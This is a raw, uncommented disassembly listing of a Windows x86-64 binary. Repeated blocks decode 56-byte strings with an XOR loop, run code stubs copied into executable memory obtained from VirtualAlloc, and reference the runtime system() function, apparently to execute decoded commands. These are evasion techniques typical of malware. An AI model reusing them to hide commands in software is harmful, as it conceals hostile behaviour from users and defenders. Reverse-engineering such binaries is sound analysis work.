andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x1400406e0
jmp 0x1400407fa
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x1400407d0
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x478], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x14004086b
mov rdx, r13
cmp rax, rdi
je 0x14004085a
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140040842
jmp 0x14004086b
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140040950
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040894
mov r8, r13
jmp 0x14004092f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400408a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x478]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x708]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe1]
call fcn.1400430f0
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x140040b0a
mov r8d, r13d
cmp r14d, 2
jl 0x140040add
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x1400409f0
jmp 0x140040b0a
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x140040ae0
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x480], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140040b7b
mov rdx, r13
cmp rax, rdi
je 0x140040b6a
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140040b52
jmp 0x140040b7b
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140040c60
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040ba4
mov r8, r13
jmp 0x140040c3f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140040bb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x480]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x700]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe2]
call fcn.140043130
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x140040e1a
mov r8d, r13d
cmp r14d, 2
jl 0x140040ded
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x140040d00
jmp 0x140040e1a
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x140040df0
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x488], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x140040e8b
mov rdx, r13
cmp rax, rdi
je 0x140040e7a
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140040e62
jmp 0x140040e8b
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140040f70
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040eb4
mov r8, r13
jmp 0x140040f4f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140040ec0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x488]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x6f0]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe3]
call fcn.140043170
mov r10, rax
cmp byte [rax + 0x38], r13b
je 0x140041131
mov r8d, r13d
cmp r14d, 2
jl 0x1400410f3
movdqa xmmword [rbp], xmm12
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140041000
cmp r8d, 0x39
jge 0x140041131
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x140041100
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x490], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x1400411a9
mov rdx, r13
nop dword [rax]
cmp rax, rdi
je 0x140041198
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140041180
jmp 0x1400411a9
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140041290
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400411d2
mov r8, r13
jmp 0x14004126f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400411e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x490]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x6e8]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe4]
call fcn.1400431b0
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x14004144a
mov r8d, r13d
cmp r14d, 2
jl 0x14004141d
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x140041330
jmp 0x14004144a
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x140041420
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x498], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x1400414bb
mov rdx, r13
cmp rax, rdi
je 0x1400414aa
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140041492
jmp 0x1400414bb
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x1400415a0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400414e4
mov r8, r13
jmp 0x14004157f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400414f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x498]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x718]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe5]
call fcn.1400431f0
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x14004175a
mov r8d, r13d
cmp r14d, 2
jl 0x14004172d
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x140041640
jmp 0x14004175a
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x140041730
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x4a0], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x1400417cb
mov rdx, r13
cmp rax, rdi
je 0x1400417ba
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x1400417a2
jmp 0x1400417cb
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x1400418b0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400417f4
mov r8, r13
jmp 0x14004188f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140041800
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x4a0]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
